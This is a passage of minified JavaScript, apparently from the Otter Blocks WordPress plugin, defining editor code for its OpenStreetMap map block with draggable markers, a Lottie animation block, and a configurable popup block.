Map","otter-blocks"),checked:e.draggable,onChange:()=>t({draggable:!e.draggable})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Zoom Control","otter-blocks"),checked:e.zoomControl,onChange:()=>t({zoomControl:!e.zoomControl})})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Markers","otter-blocks"),initialOpen:!1},(0,i.createElement)(lo,{markers:e.markers,dispatch:l,markersInteraction:a})))};const{attributes:ao}=Ql,no={ADD:"ADD",ADD_MANUAL:"ADD_MANUAL",REMOVE:"REMOVE",UPDATE:"UPDATE",INIT:"INIT"};const ro={to:[{type:"block",blocks:["themeisle-blocks/google-map"],transform:e=>{const t=e;return(0,a.createBlock)("themeisle-blocks/google-map",{...t})}}]};var io=ro;const{name:so}=Ql;(0,a.registerBlockType)(so,{...Ql,title:(0,o.__)("Maps","otter-blocks"),description:(0,o.__)("Display Open Street Maps on your website with Maps block. Powered by Otter.","otter-blocks"),icon:r.mapIcon,keywords:["map","opeenstreetmap","location"],transforms:io,edit:({clientId:e,attributes:t,setAttributes:l})=>{var a;(0,b.useEffect)((()=>{const l=(0,y.blockInit)(e,ao);return()=>l(t.id)}),[t.id]);const{responsiveGetAttributes:n}=(0,k.Y)(),r=(0,b.useRef)(null),[s,c]=(0,b.useState)(null),[d,m]=(0,b.useState)(!1),[p,g]=(0,b.useState)(null),f=(e,t)=>{if(window.L&&s&&t&&e){var l,a,n,r,i;null!==(l=e.id)&&void 0!==l||(e.id=(0,zl.Z)()),null!==(a=e.latitude)&&void 0!==a||(e.latitude=s.getCenter().lat),null!==(n=e.longitude)&&void 0!==n||(e.longitude=s.getCenter().lng),null!==(r=e.title)&&void 0!==r||(e.title=(0,o.__)("Add a title","otter-blocks")),null!==(i=e.description)&&void 0!==i||(e.description="");const c=window.L.marker([e.latitude,e.longitude]||0,{draggable:!0});return c.on("movestart",(()=>{c.closeTooltip(),c.closePopup()})),c.on("moveend",(()=>{const l=c.getLatLng();t({type:no.UPDATE,ids:[e.id],updatedProps:{latitude:l.lat,longitude:l.lng}})})),c.on("click",(()=>{g(e.id)})),c.markerProps=e,c}return null},[v,_]=(0,b.useReducer)(((e,t)=>{switch(t.type){case no.ADD:const l=f(t.marker,t.dispatch);return[...e,l];case no.ADD_MANUAL:if(d){const l=f(t.marker,t.dispatch);return[...e,l]}return e;case no.REMOVE:return e.filter((({markerProps:e})=>t.ids.includes(e.id))).forEach((e=>{s.hasLayer(e)&&s.removeLayer(e)})),e.filter((({markerProps:e})=>!t.ids.includes(e.id)));case no.INIT:const a=t.markers.map((e=>f(e,t.dispatch)));return[...e,...a];case no.UPDATE:return e.map((e=>{const l=e.markerProps;return t.ids.includes(l.id)&&(e.markerProps=(0,A.merge)(e.markerProps,t.updatedProps)),e}));default:console.warn((0,o.__)("The action for the leaflet block do not have a defined action in marker's reducer: ","otter-blocks")+t.type)}return e}),[],(()=>[])),C=()=>{if(!r.current&&!window.L)return;let{L:e}=window;const a=(0,y.getEditorIframe)();if(Boolean(a)&&(e=a.contentWindow?.L),!e)return;r.current.innerHTML="";const n=e.map(r.current,{gestureHandling:!0,gestureHandlingOptions:{text:{touch:(0,o.__)("Use two fingers to move the map","otter-blocks"),scroll:(0,o.__)("Use ctrl + scroll to zoom the map","otter-blocks"),scrollMac:(0,o.__)("Use ⌘ + scroll to zoom the map","otter-blocks")}}});e.tileLayer("https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png",{attribution:'© <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a>',subdomains:["a","b","c"]}).addTo(n),n.on("zoom",(()=>{l({zoom:n.getZoom()})})),n.on("moveend",(()=>{const e=n.getCenter();l({latitude:e.lat.toString(),longitude:e.lng.toString()})})),n.on("click",(e=>{_({type:no.ADD_MANUAL,marker:{latitude:e.latlng.lat,longitude:e.latlng.lng},dispatch:_}),m(!1)})),e.Control.AddMarker=e.Control.extend({onAdd:()=>{const t=e.DomUtil.create("button","wp-block-themeisle-blocks-leaflet-map-marker-button"),l=e.DomUtil.create("span","dashicons dashicons-sticky",t);return e.DomEvent.on(t,"click",(t=>{e.DomEvent.stopPropagation(t),m(!d)})),t.title=(0,o.__)("Add marker on the map with a click","otter-blocks"),t.appendChild(l),t},onRemove:()=>{}}),e.control.addmarker=t=>new e.Control.AddMarker(t),e.control.addmarker({position:"bottomleft"}).addTo(n),c(n),_({type:no.INIT,markers:t.markers,dispatch:_})};(0,b.useEffect)((()=>{(0,y.getEditorIframe)()?((0,y.copyScriptAssetToIframe)("#leaflet-js",(()=>{C()})),(0,y.copyScriptAssetToIframe)("#leaflet-gesture-handling-js",(()=>{}))):C()}),[]),(0,b.useEffect)((()=>{t.height&&s&&s.invalidateSize(!0)}),[t.height,s]),(0,b.useEffect)((()=>{var e;t.latitude&&t.longitude&&s&&s.setView([t.latitude,t.longitude],null!==(e=t.zoom)&&void 0!==e?e:15)}),[t.latitude,t.longitude,t.zoom,s]),(0,b.useEffect)((()=>{r.current?.classList.toggle("is-selecting-location",d)}),[d]),(0,b.useEffect)((()=>{t.latitude&&t.longitude&&s&&l({bbox:s.getBounds().toBBoxString()})}),[t.latitude,t.longitude,s]),(0,b.useEffect)((()=>{v&&(v.forEach((e=>{s.hasLayer(e)||s.addLayer(e);const{markerProps:t}=e;e.setLatLng([t.latitude,t.longitude]),e.closeTooltip(),e.unbindTooltip(),e.bindTooltip(t.title,{direction:"auto"}),e.closePopup(),e.unbindPopup(),e.bindPopup(((e,t)=>{const l=document.createElement("div"),a=document.createElement("h6"),n=document.createElement("div"),r=document.createElement("p"),i=document.createElement("button");return a.innerHTML=e.title,r.innerHTML=e.description,i.onclick=()=>t({type:no.REMOVE,ids:[e.id]}),i.innerHTML=(0,o.__)("Delete Marker","otter-blocks"),l.classList.add("wp-block-themeisle-blocks-map-overview"),n.classList.add("wp-block-themeisle-blocks-map-overview-content"),a.classList.add("wp-block-themeisle-blocks-map-overview-title"),i.classList.add("wp-block-themeisle-blocks-map-overview-delete"),l.appendChild(a),l.appendChild(n),l.appendChild(i),n.appendChild(r),l})(t,_))})),t.markers.length!==v.length&&s&&l({markers:v.map((({markerProps:e})=>e))}))}),[v,s,t.markers]);const w=(0,u.useBlockProps)();return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(oo,{attributes:t,setAttributes:l,dispatch:_,markersInteraction:{openMarker:p,setOpenMarker:g}}),(0,i.createElement)("div",{...w},(0,i.createElement)("div",{id:t.id,ref:r,style:{width:"100%",height:n([(0,h.Yj)(null!==(a=t.height)&&void 0!==a?a:400),t.heightTablet,t.heightMobile])}})))},save:()=>null,example:{attributes:{}}});var co=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/lottie","title":"Lottie Animation","category":"themeisle-blocks","description":"Add Lottie animations to your WordPress. Powered by Otter.","keywords":["media","lottie","animation"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"file":{"type":"object"},"trigger":{"type":"string","default":"none"},"loop":{"type":"boolean","default":false},"count":{"type":"number","default":0},"speed":{"type":"number","default":1},"direction":{"type":"boolean","default":false},"width":{"type":["string","number"]},"ariaLabel":{"type":"string","default":""},"backgroundColor":{"type":"string"},"backgroundGradient":{"type":"string"}},"supports":{"align":["left","center","right"]},"editorStyle":"otter-lottie-editor","script":"otter-lottie"}'),uo=({className:e,file:t,onChange:l,attributes:a})=>{const[n,s]=(0,b.useState)(a.file?.url||null);return Boolean(window.themeisleGutenberg.isWPVIP)?(0,i.createElement)(p.Placeholder,{label:(0,o.__)("Lottie","otter-blocks"),instructions:(0,o.__)("Add Lottie animations and files to your website. You need to use a .json file.","otter-blocks"),icon:r.lottieIcon,className:e},(0,i.createElement)("form",{onSubmit:e=>(e&&e.preventDefault(),l(n))},(0,i.createElement)("input",{type:"url",value:n||"",className:"components-placeholder__input","aria-label":(0,o.__)("Lottie","otter-blocks"),placeholder:(0,o.__)("Enter URL to embed here…","otter-blocks"),onChange:e=>s(e.target.value)}),(0,i.createElement)(p.Button,{isPrimary:!0,disabled:!n,type:"submit"},(0,o.__)("Embed","otter-blocks")))):(0,i.createElement)(u.MediaPlaceholder,{labels:{title:(0,o.__)("Lottie","otter-blocks"),instructions:(0,o.__)("Add Lottie animations and files to your website.","otter-blocks")},icon:r.lottieIcon,accept:["application/json",".lottie"],allowedTypes:["application/json"],value:{...t},onSelectURL:l,onSelect:l})},bo=({attributes:e,setAttributes:t,playerRef:l})=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Settings","otter-blocks"),initialOpen:!0},(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Trigger","otter-blocks"),help:(0,o.__)("Animation trigger. This will only work on the front-end.","otter-blocks"),value:e.trigger,options:[{label:(0,o.__)("Autoplay","otter-blocks"),value:"none"},{label:(0,o.__)("Scroll","otter-blocks"),value:"scroll"},{label:(0,o.__)("Hover","otter-blocks"),value:"hover"},{label:(0,o.__)("Click","otter-blocks"),value:"click"}],onChange:e=>{t({trigger:e})}}),"scroll"!==e.trigger&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Loop","otter-blocks"),help:(0,o.__)("Whether to loop animation.","otter-blocks"),checked:e.loop,onChange:o=>{t({loop:o}),l.current.setLooping(o),e.direction&&l.current.seek("100%"),l.current.play()}}),e.loop&&(0,i.createElement)(p.TextControl,{label:(0,o.__)("Numbers of loops","otter-blocks"),help:(0,o.__)("Number of times to loop animation.","otter-blocks"),type:"number",value:e.count,onChange:o=>{t({count:Number(o)}),l.current.load(e.file.url)}}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Speed","otter-blocks"),help:(0,o.__)("Animation speed.","otter-blocks"),value:e.speed,onChange:e=>{t({speed:Number(e)}),l.current.setSpeed(e)},step:.1,min:.1,max:5}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Reverse","otter-blocks"),help:(0,o.__)("Direction of animation.","otter-blocks"),checked:e.direction,onChange:e=>{t({direction:e}),l.current.setDirection(e?-1:1),l.current.seek(e?"100%":0)}})),(0,i.createElement)(u.__experimentalUnitControl,{onChange:e=>{const l=parseInt(e.slice(0,-1)),o=e.slice(-1);100<l&&"%"===o&&(e="100%"),t({width:e})},label:(0,o.__)("Width","otter-blocks"),isUnitSelectTabbable:!0,isResetValueOnUnitChange:!0,__unstableInputWidth:"50%",value:(0,h.Yj)(e.width),units:[{value:"%",label:"%",default:100},{value:"px",label:"px",default:300}]})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Background","otter-blocks"),initialOpen:!1},(0,i.createElement)(u.__experimentalColorGradientControl,{colorValue:e.backgroundColor,gradientValue:e.backgroundGradient,onColorChange:e=>t({backgroundColor:e}),onGradientChange:e=>t({backgroundGradient:e}),showTitle:!1,className:"otter-lottie-background-control"}))),(0,i.createElement)(u.InspectorAdvancedControls,null,(0,i.createElement)(p.TextControl,{label:(0,o.__)("Aria Label","otter-blocks"),help:(0,o.__)("Describe the purpose of this animation on the page.","otter-blocks"),value:e.ariaLabel,onChange:e=>t({ariaLabel:e})}))),mo=({isEditing:e,setEditing:t})=>(0,i.createElement)(u.BlockControls,null,(0,i.createElement)(p.ToolbarGroup,null,(0,i.createElement)(p.Tooltip,{text:e?(0,o.__)("Save","otter-blocks"):(0,o.__)("Edit","otter-blocks")},(0,i.createElement)(p.Button,{onClick:()=>t(!e)},(0,i.createElement)(p.Dashicon,{icon:e?"yes":"edit"}))))),po=({attributes:e,playerRef:t})=>{(0,b.useEffect)((()=>{const o=(0,y.getEditorIframe)();Boolean(o)?((0,y.copyScriptAssetToIframe)("#lottie-player-js",(()=>{!(0,A.isEmpty)(e.file)&&e.loop&&null!==t.current&&t.current.addEventListener("complete",l)})),(0,y.copyScriptAssetToIframe)("#dotlottie-player-js",(()=>{!(0,A.isEmpty)(e.file)&&e.loop&&null!==t.current&&t.current.addEventListener("complete",l)}))):!(0,A.isEmpty)(e.file)&&e.loop&&null!==t.current&&t.current.addEventListener("complete",l)}),[]);const l=()=>{t.current&&(t.current.setLooping(e.loop),t.current.play(),t.current.removeEventListener("complete",l))};let o=(0,b.createElement)("lottie-player");return e.file.url.endsWith(".lottie")&&(o=(0,b.createElement)("dotlottie-player")),(0,b.cloneElement)(o,{id:e.id,ref:t,src:e.file.url,autoplay:!e.trigger||"none"===e.trigger,loop:e.loop,count:e.direction?-1*e.count:e.count,speed:e.speed,background:e.backgroundColor||e.backgroundGradient,direction:e.direction?-1:1,trigger:e.trigger,"data-loop":e.loop,mode:"normal",style:{width:!(!e.width||"%"===e.width.toString().slice(-1))&&`${e.width}px`,maxWidth:!(!e.width||"%"!==e.width.toString().slice(-1))&&`${e.width}`,height:"auto"},..."hover"===e.trigger&&{hover:"hover"},...e.ariaLabel&&{"aria-label":e.ariaLabel}})};const{attributes:go}=co;const{name:ho}=co;(0,a.registerBlockType)(ho,{...co,title:(0,o.__)("Lottie Animation","otter-blocks"),description:(0,o.__)("Add Lottie animations to your WordPress. Powered by Otter.","otter-blocks"),icon:r.lottieIcon,keywords:["media","lottie","animation"],edit:({attributes:e,setAttributes:t,isSelected:l,clientId:o})=>{const a=(0,b.useRef)(null),[n,r]=(0,b.useState)(!Boolean(e.file));(0,b.useEffect)((()=>{const t=(0,y.blockInit)(o,go);return()=>t(e.id)}),[e.id]),(0,b.useEffect)((()=>{l?(a.current?.play?.(),e.direction&&a.current?.seek?.("100%")):a.current?.stop?.()}),[l]);const s=(0,u.useBlockProps)();return(0,i.createElement)(b.Fragment,null,(!(0,A.isEmpty)(e.file)&&n||!n)&&(0,i.createElement)(mo,{isEditing:n,setEditing:r}),!((0,A.isEmpty)(e.file)||n)&&(0,i.createElement)(bo,{attributes:e,setAttributes:t,playerRef:a}),(0,i.createElement)("div",{...s},((0,A.isEmpty)(e.file)||n)&&(0,i.createElement)(uo,{value:e.file,onChange:e=>{if(""===e||null===e)return;const l=(0,A.pick)(e,["id","url"]);(0,A.isEmpty)(l)&&(l.url=e),t({file:{...l}}),r(!1)},attributes:e}),!((0,A.isEmpty)(e.file)||n)&&(0,i.createElement)(po,{attributes:e,isSelected:l,playerRef:a})))},save:({attributes:e})=>{const t=u.useBlockProps.save({id:e.id,...e.file?.url.endsWith(".lottie")?{"data-src":e.file?e.file.url:""}:{src:e.file?e.file?.url:""},width:e.width});let l=(0,b.createElement)("lottie-player");return e.file?.url.endsWith(".lottie")&&(l=(0,b.createElement)("dotlottie-player")),l=(0,b.cloneElement)(l,{trigger:e.trigger,background:e.backgroundColor||e.backgroundGradient,...e.ariaLabel&&{"aria-label":e.ariaLabel},...t}),"scroll"===e.trigger?l:(0,b.cloneElement)(l,{autoplay:!0,loop:!0,count:e.direction?-1*e.count:e.count,speed:e.speed,direction:e.direction?-1:1,trigger:e.trigger,"data-loop":e.loop,mode:"normal",..."hover"===e.trigger&&{hover:"hover"}})},example:{viewportWidth:1200,attributes:{id:"wp-block-themeisle-blocks-lottie-2",file:{url:"https://assets8.lottiefiles.com/packages/lf20_kd5rzej5.json"}}}});var ko=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/popup","title":"Popup","category":"themeisle-blocks","description":"Display your content in beautiful popup with many customization options. Powered by Otter.","keywords":["popup","modal","lightbox"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"minWidth":{"type":["number","string"]},"maxWidth":{"type":["number","string"]},"trigger":{"type":"string"},"wait":{"type":"number"},"anchor":{"type":"string"},"scroll":{"type":"number"},"showClose":{"type":"boolean","default":true},"outsideClose":{"type":"boolean","default":true},"anchorClose":{"type":"boolean","default":false},"closeAnchor":{"type":"string"},"recurringClose":{"type":"boolean","default":false},"recurringTime":{"type":"number"},"backgroundColor":{"type":"string"},"closeColor":{"type":"string"},"overlayColor":{"type":"string"},"overlayOpacity":{"type":"number"},"lockScrolling":{"type":"boolean"},"padding":{"type":"object"},"paddingTablet":{"type":"object"},"paddingMobile":{"type":"object"},"borderWidth":{"type":"object"},"borderRadius":{"type":"object"},"borderColor":{"type":"string"},"borderStyle":{"type":"string"},"width":{"type":"string"},"widthTablet":{"type":"string"},"widthMobile":{"type":"string"},"heightMode":{"type":"string"},"height":{"type":"string"},"heightTablet":{"type":"string"},"heightMobile":{"type":"string"},"verticalPosition":{"type":"string"},"horizontalPosition":{"type":"string"},"verticalPositionTablet":{"type":"string"},"horizontalPositionTablet":{"type":"string"},"verticalPositionMobile":{"type":"string"},"horizontalPositionMobile":{"type":"string"},"closeButtonType":{"type":"string"},"boxShadow":{"type":"object","default":{"active":false,"colorOpacity":50,"blur":5,"spread":1,"horizontal":0,"vertical":0}},"disableOn":{"type":"string"}},"editorStyle":"otter-popup-editor","style":"otter-popup-style","script":"otter-popup"}'),yo=l(6755),fo=l(7231);const vo=()=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Disabled,null,(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Close On Anchor Click","otter-blocks"),checked:!1,onChange:()=>{},className:"o-disabled"}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Dismiss for Recurring Visitors","otter-blocks"),checked:!1,onChange:()=>{},className:"o-disabled"})),(0,i.createElement)(g.qX,{notice:(0,i.createElement)(p.ExternalLink,{href:(0,h.Wi)(window.themeisleGutenberg.upgradeLink,"popupblock")},(0,o.__)("Get more options with Otter Pro. ","otter-blocks")),variant:"upsell"}));var _o=({attributes:e,setAttributes:t})=>{var l,a,n,r,s,c,d,m,f,v,_,C;const[w,E]=(0,y.useTabSwitch)(e.id,"settings"),{responsiveSetAttributes:x,responsiveGetAttributes:S}=(0,k.Y)(t);let T=[{label:(0,o.__)("On Load","otter-blocks"),value:"onLoad"},{label:(0,o.__)("On Anchor Click (Pro)","otter-blocks"),value:"onClick",disabled:!0},{label:(0,o.__)("On Scroll (Pro)","otter-blocks"),value:"onScroll",disabled:!0},{label:(0,o.__)("On Exit (Pro)","otter-blocks"),value:"onExit",disabled:!0}];return T=(0,Fe.applyFilters)("otter.popupBlock.triggers",T),(0,i.createElement)(u.InspectorControls,null,(0,Fe.applyFilters)("otter.feedback","","popup-block",(0,o.__)("Help us improve this block","otter-blocks")),(0,i.createElement)(g.Hn,{value:w,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:E}),(0,i.createElement)("div",null,"settings"===w&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Popup settings","otter-blocks")},(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Open Trigger","otter-blocks"),help:!Boolean(window.themeisleGutenberg.hasPro)&&(0,o.__)("You need to have Otter Pro to activate Pro features.","otter-blocks"),options:T,value:e.trigger,onChange:e=>t({trigger:e})}),(void 0===e.trigger||"onLoad"===e.trigger)&&(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Trigger Delay","otter-blocks"),help:(0,o.__)("How much time in seconds to wait before showing the popup.","otter-blocks"),min:0,max:100,value:null!==(l=e.wait)&&void 0!==l?l:0,onChange:e=>t({wait:Number(e)}),allowReset:!0}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Disable Page Scrolling","otter-blocks"),checked:e.lockScrolling,onChange:()=>t({lockScrolling:!e.lockScrolling})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Show on mobile","otter-blocks"),checked:!Boolean(e.disableOn),onChange:e=>t({disableOn:e?void 0:"mobile"})})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Popup Position","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.n9,{label:(0,o.__)("Screen Type","otter-blocks")},(0,i.createElement)("div",{className:"o-position-picker"},(0,i.createElement)(p.__experimentalAlignmentMatrixControl,{value:S([`${null!==(a=e.verticalPosition)&&void 0!==a?a:"center"} ${null!==(n=e.horizontalPosition)&&void 0!==n?n:"center"}`,`${null!==(r=e.verticalPositionTablet)&&void 0!==r?r:"center"} ${null!==(s=e.horizontalPositionTablet)&&void 0!==s?s:"center"}`,`${null!==(c=e.verticalPositionMobile)&&void 0!==c?c:"center"} ${null!==(d=e.horizontalPositionMobile)&&void 0!==d?d:"center"}`]),onChange:e=>{const[t,l]=e.split(" ");x(Boolean(t)&&"center"!==t?t:void 0,["verticalPosition","verticalPositionTablet","verticalPositionMobile"]),x(Boolean(l)&&"center"!==l?l:void 0,["horizontalPosition","horizontalPositionTablet","horizontalPositionMobile"])}})))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Frequency & Close Settings","otter-blocks"),initialOpen:!1},(0,Fe.applyFilters)("otter.popupBlock.controls",(0,i.createElement)((()=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Show Close Button","otter-blocks"),checked:e.showClose,onChange:()=>t({showClose:!e.showClose})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Close on Click Outside","otter-blocks"),checked:e.outsideClose,onChange:()=>t({outsideClose:!e.outsideClose})}),!Boolean(window.themeisleGutenberg.hasPro)&&(0,i.createElement)(vo,null))),null),e,t)),(0,i.createElement)(g.p,null)),"style"===w&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions","otter-blocks")},(0,i.createElement)(g.n9,{label:(0,o.__)("Width","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{value:null!==(m=S([e.width,e.widthTablet,e.widthMobile]))&&void 0!==m?m:"500px",onChange:e=>{x(e,["width","widthTablet","widthMobile"])}})),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Height","otter-blocks"),options:[{label:(0,o.__)("Fit Content","otter-blocks"),value:"none"},{label:(0,o.__)("Custom","otter-blocks"),value:"custom"}],value:e.heightMode,onChange:e=>t({heightMode:"none"!==e?e:void 0})}),"custom"===e.heightMode&&(0,i.createElement)(g.n9,{label:(0,o.__)("Custom Height","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{value:null!==(f=S([e.height,e.heightTablet,e.heightMobile]))&&void 0!==f?f:"400px",onChange:e=>{x(e,["height","heightTablet","heightMobile"])}})),(0,i.createElement)(g.n9,null,(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Padding","otter-blocks"),values:null!==(v=S([e.padding,e.paddingTablet,e.paddingMobile]))&&void 0!==v?v:{top:"20px",bottom:"20px",left:"20px",right:"20px"},onChange:e=>{x((0,h.cg)(e,{top:"20px",bottom:"20px",left:"20px",right:"20px"}),["padding","paddingTablet","paddingMobile"])}}))),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:e.backgroundColor,onChange:e=>t({backgroundColor:e}),label:(0,o.__)("Background","otter-blocks"),isShownByDefault:!1},{value:e.closeColor,onChange:e=>t({closeColor:e}),label:(0,o.__)("Close Button","otter-blocks"),isShownByDefault:!1},{value:e.overlayColor,onChange:e=>t({overlayColor:e}),label:(0,o.__)("Overlay","otter-blocks"),isShownByDefault:!1},{value:e.borderColor,onChange:e=>t({borderColor:e}),label:(0,o.__)("Border","otter-blocks"),isShownByDefault:!1}]}),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Overlay","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Overlay Opacity","otter-blocks"),value:e.overlayOpacity,initialPosition:100,onChange:e=>t({overlayOpacity:void 0!==e?Number(e):void 0}),allowReset:!0})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Close Button","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Show Close Button","otter-blocks"),checked:e.showClose,onChange:()=>t({showClose:!e.showClose})}),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Position","otter-blocks"),options:[{label:(0,o.__)("Inside","otter-blocks"),value:"none"},{label:(0,o.__)("Outside","otter-blocks"),value:"outside"}],value:e.closeButtonType,onChange:e=>t({closeButtonType:"none"!==e?e:void 0})})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Width","otter-blocks"),values:null!==(_=e.borderWidth)&&void 0!==_?_:{top:"0px",bottom:"0px",left:"0px",right:"0px"},onChange:e=>{t({borderWidth:(0,h.cg)(e,{top:"0px",bottom:"0px",left:"0px",right:"0px"})})}}),(0,i.createElement)(p.__experimentalBoxControl,{id:"o-border-raduis-box",label:(0,o.__)("Radius","otter-blocks"),values:null!==(C=e.borderRadius)&&void 0!==C?C:{top:"0px",bottom:"0px",left:"0px",right:"0px"},onChange:e=>{t({borderRadius:(0,h.cg)(e,{top:"0px",bottom:"0px",left:"0px",right:"0px"})})}}),(0,i.createElement)(g.I7,{boxShadow:e.boxShadow,onChange:l=>{const o={...e.boxShadow};Object.entries(l).map((([e,t]=l)=>{o[e]=t})),t({boxShadow:o})}})))))};const{attributes:Co}=ko;const{name:wo}=ko;(0,a.registerBlockType)(wo,{...ko,title:(0,o.__)("Popup","otter-blocks"),description:(0,o.__)("Display your content in beautiful popup with many customization options. Powered by Otter.","otter-blocks"),icon:r.popupIcon,keywords:["popup","modal","lightbox"],edit:({attributes:e,setAttributes:t,clientId:l,className:n,name:r})=>{var s,d,g;(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,Co);return()=>t(e.id)}),[]);const[f,v]=(0,b.useState)(!1),{replaceInnerBlocks:_,selectBlock:C}=(0,m.useDispatch)("core/block-editor"),w=(0,m.useSelect)((e=>0<e("core/block-editor").getBlocks(l).length),[l]),{blockType:E,defaultVariation:x,variations:S}=(0,m.useSelect)((e=>{const{getBlockVariations:t,getBlockType:l,getDefaultBlockVariation:o}=e("core/blocks");return{blockType:l(r),defaultVariation:o(r,"block"),variations:t(r,"block")}}),[r]),T="custom"===e.heightMode?{"--height":e.height,"--height-tablet":e.heightMobile,"--height-mobile":e.heightMobile}:{"--height":"fit-content"},B={"--min-width":e.minWidth?e.minWidth+"px":"400px","--max-width":e.maxWidth?e.maxWidth+"px":void 0,"--background-color":e.backgroundColor,"--close-color":e.closeColor,"--overlay-color":e.overlayColor,"--overlay-opacity":void 0!==e.overlayOpacity?e.overlayOpacity/100:1,"--brd-width":(0,h.bv)(e.borderWidth),"--brd-radius":(0,h.bv)(e.borderRadius),"--brd-color":e.borderColor,"--brd-style":e.borderStyle,"--width":!Boolean(e.width)&&e.maxWidth?e.maxWidth+"px":e.width,"--width-tablet":e.widthTablet,"--width-mobile":e.widthMobile,"--padding":e.padding?(0,h.bv)((0,A.merge)((0,h.nT)("20px"),e.padding)):void 0,"--padding-tablet":e.paddingTablet?(0,h.bv)((0,A.merge)((0,h.nT)("20px"),null!==(s=e.padding)&&void 0!==s?s:{},e.paddingTablet)):void 0,"--padding-mobile":e.paddingMobile?(0,h.bv)((0,A.merge)((0,h.nT)("20px"),null!==(d=e.padding)&&void 0!==d?d:{},null!==(g=e.paddingTablet)&&void 0!==g?g:{},e.paddingMobile)):void 0,"--box-shadow":e.boxShadow.active&&`${e.boxShadow.horizontal}px ${e.boxShadow.vertical}px ${e.boxShadow.blur}px ${e.boxShadow.spread}px ${hexToRgba(e.boxShadow.color||"#FFFFFF",e.boxShadow.colorOpacity)}`,...T},[M,P]=(0,y.useCSSNode)();(0,b.useEffect)((()=>{P([" .otter-popup__modal_content "+(0,h.iC)([["top","30px","top"===e.verticalPosition],["bottom","30px","bottom"===e.verticalPosition],["left","30px","left"===e.horizontalPosition],["right","30px","right"===e.horizontalPosition]])," .otter-popup__modal_content "+(0,h.iC)([["top","15px","top"===e.verticalPositionTablet],["bottom","15px","bottom"===e.verticalPositionTablet],["left","15px","left"===e.horizontalPositionTablet],["right","15px","right"===e.horizontalPositionTablet]])," .otter-popup__modal_content "+(0,h.iC)([["top","10px","top"===e.verticalPositionMobile],["bottom","10px","bottom"===e.verticalPositionMobile],["left","10px","left"===e.horizontalPositionMobile],["right","10px","right"===e.horizontalPositionMobile]])],["@media ( min-width: 960px )","@media ( min-width: 600px ) and ( max-width: 960px )","@media ( max-width: 600px )"])}),[e.horizontalPosition,e.verticalPosition,e.horizontalPositionTablet,e.verticalPositionTablet,e.horizontalPositionMobile,e.verticalPositionMobile]),(0,k.W)(e.backgroundColor,e,t);const z=(0,u.useBlockProps)({id:e.id,style:B,className:c()(n,M,{"with-outside-button":"outside"===e.closeButtonType})});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(_o,{attributes:e,setAttributes:t}),(0,i.createElement)("div",{...z},w?(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Button,{variant:"primary",isPrimary:!0,icon:yo.Z,onClick:()=>v(!0)},(0,o.__)("Edit Popup","otter-blocks")),f&&(0,i.createElement)("div",{className:"otter-popup__modal_wrap"},(0,i.createElement)("div",{role:"presentation",className:"otter-popup__modal_wrap_overlay",onClick:()=>v(!1)}),(0,i.createElement)("div",{className:"otter-popup__modal_content"},e.showClose&&(0,i.createElement)("div",{className:"otter-popup__modal_header"},(0,i.createElement)(p.Button,{icon:fo.Z,onClick:()=>v(!1)})),(0,i.createElement)("div",{className:"otter-popup__modal_body"},(0,i.createElement)(u.InnerBlocks,null))))):(0,i.createElement)(u.__experimentalBlockVariationPicker,{icon:(0,A.get)(E,["icon","src"]),label:(0,A.get)(E,["title"]),variations:S,onSelect:(e=x)=>{e&&(t(e.attributes),_(l,(0,a.createBlocksFromInnerBlocksTemplate)(e.innerBlocks),!0)),C(l)},allowSkip:!0})))},save:({attributes:e,className:t})=>{const 